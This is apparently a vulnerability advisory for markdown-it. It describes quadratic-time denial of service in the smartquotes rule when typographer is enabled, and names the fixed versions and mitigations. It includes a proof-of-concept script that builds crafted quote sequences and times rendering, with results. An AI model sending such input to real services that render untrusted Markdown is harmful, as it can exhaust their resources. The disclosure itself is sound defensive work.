npm · markdown-it
markdown-it: Quadratic complexity in smartquotes with unmatched closing quotes
When typographer: true is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.
Many opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.
The default configuration (typographer: false) is not affected, but this option is enabled with high probability.
import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'
const md = new MarkdownIt({ typographer: true })
for (const k of [2000, 4000, 8000, 16000, 32000]) {
const input = '"a '.repeat(k) + "b' ".repeat(k)
const start = performance.now()
md.render(input)
console.log(input.length, (performance.now() - start).toFixed(1), 'ms')
}
Result:
| input size | time |
|---|---|
| 12000 | 18ms |
| 24000 | 47ms |
| 48000 | 115ms |
| 96000 | 428ms |
| 192000 | 1586ms |
Fixed in 15.0.2 and 14.3.2.
Disable typography with typographer: false, or disable only the smartquotes rule:
md.disable('smartquotes')
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.